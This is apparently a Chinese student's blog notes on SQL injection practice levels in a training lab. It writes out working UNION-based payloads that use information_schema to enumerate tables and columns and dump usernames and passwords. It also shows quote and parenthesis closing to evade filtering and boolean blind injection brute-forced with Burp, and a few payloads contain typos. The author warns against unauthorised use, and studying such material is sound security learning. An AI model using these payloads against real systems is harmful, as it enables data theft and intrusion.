今天上了SQL注入的第二节课,知识量还真不少,理解上还是有一定的难度(有点折磨),没事
开始之前我们先来讲讲今天的主角:information_schema,为什么说它是主角呢?可以看下面的图
可能光从字面上你还感觉不到它的强大,但是我们来通过一个案例,你就会恍然大雾悟了、
进来之后,我们可以通过改变id来使对应的login_name && Password 发生改变
于是开始我们判断sql注入的步骤
然后就是红队的思路了
然后我们就来一步一步的实现(第一关是没有任何过滤的,所以我们来先展示一下)
这里我们要用到联合查询 (union)但是!!!!
UNION 操作符用于连接两个以上的 SELECT 语句的结果组合到一个结果集
合中。前提是两个select必有相同列 !!!!!!!!!!
那么我们就要先猜测出他数据库要有多少列,开始构造POC
id=1 ' order by 你枚举的数 --+ //order by直接+数字的话就是按照这个数字的列进行排序
然后我发现当我枚举到4的时候 就会报错(url中%27就是‘ %20就是空格)
就是说明它这个数据库的表中有三列!!!,然后我们去找一下能显示在页面上的列
开始用到union !!!
id=-1' union select 1,2,3 --+
所以我们可以选择第三个列作为显示位
id=-1' union select 1,2,database() --+
发现数据库名字是security
FBI Warning: 前方知识大量出没,请准备好脑子
基本框架肯定是 select ****** form ****** where ***** 那我们就一个一个来!!!!!
首先select 后面接的是 表名字,但是不知道啊,那么就要用到information_schema的table_name;
为了让他展示的更加美观,我们采用group_concat()函数,用来将返回值以逗号形式隔开
所以就有了第一段
select group_concat(table_name) form ****** where******
然后就是第二段,应该是从一个数据库对吧,这里我完全可以直接写security,但是你前面table_name是information_schema里面的得对吧,所以就会报错,可以这样写
select group_concat(table_name) from information_schema.tables where table_schema="security"
这样的意思就是从information_schema的tables中找到表名为security的所有表名了,完整poc:
id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema="security" )--+
就能爆出他的表名了
还是一部分一部分
先是需要字段的名字
select gruop_concat(column_name) from **** where ***
然后就是补全后面
select group_concat(column_name) from information_schema.colums where ****
这里想都不用想肯定是users的资料最重要啦,那就爆这个
select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"
最终的POC
id=-1 ' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users" )--+
于是就能爆出他的字段了 三个: id username password
知道表名,知道字段,那剩下就简单了!
直接上最终POC(这里的~完全是我为了让他美观一点)
id=0' union select 1,2,(select group_concat(username,"~",password) from users )--+
当然了我再次声明:!!!
没有渗透的权限,或者不是红队的攻防,不允洗做到这一步!!!不然人家是可以报警抓你的!!
学网络安全真的是在法律的边缘徘徊,越界了你就无了
可以发现无论加多少个引号,都会报错,那么就说明是数字型(先不考虑过滤)
那就直接构造poc
id=-2 union select 1,user(),database()
因为小编的mysql没有深入的学 于是在做这一关的时候人快嘛了,于是去审计了一下他的代码
而且
就是说查询 id=1 id='1' id=(1) id =("1")都是一个值 (66666666666666)学到了!
那就把)闭合 这也算一种绕waf吧
id=0') union select 1,2,user() --+
看一下源代码
如果这关你传入一下代码你就会发现行不通
0') union select 1,2,user() --+
因为人家闭合的是 " ,所以你要用 "去闭合
id=0") union select 1,2,databse() --+
这一关我们是可以看见它没有回显到屏幕上的!!那我们就可以尝试布尔盲注
可以看见不同的输入的话回显包的length是不同的,而且可以判断出他是字符型
那就开始先尝试他的数据库是多长
?id=1'+and+if(length(database())=1,1,0)=1--+
这句话的意思就是判断数据库的长度是不是1,是一的话整句话正确,否则就不对,那我们就可以对长度进行爆破
可以爆出数据库名字长度是8
然后我们再对数据库的每一个字进行爆破(这个记得选择cluster bomb的模式)设置好两个payload
抓包’ 开试 ,但是你就会发现一直不对,就算+( 都不对
换个思路" ?? 果然,剩下的就和上面一样了
老套路,还是字符型
但是当我想要重蹈覆辙的时候,发现正常来说试不会报错的,那么就是说--+被过滤了
那么我们可以不可以尝试不过滤(先科普一下)在sql中 '1'=1没毛病
那么我们就可以这样构造poc
id=1'+and+if(1=1,1,0)='1
发现不报错,那剩下就和上面一样了,不多赘述
判断完字符型之后,发现他好像不过滤--+,知道最后一步也发现???和第6关一样??
抓个包不难发现,虽然页面是没有变化,但是返回包得长度是有变化的
所以这其实也还是一个布尔盲注(长度是707就代表查询正常,从上面分析)
这,咋还是这一关卡?? 呃呃不多说
前一篇文章我所说的判断注入类型似乎有点bug(我是fw),其实因该是这样
暂时是这样,随着后面的刷题,有可能会在继续补充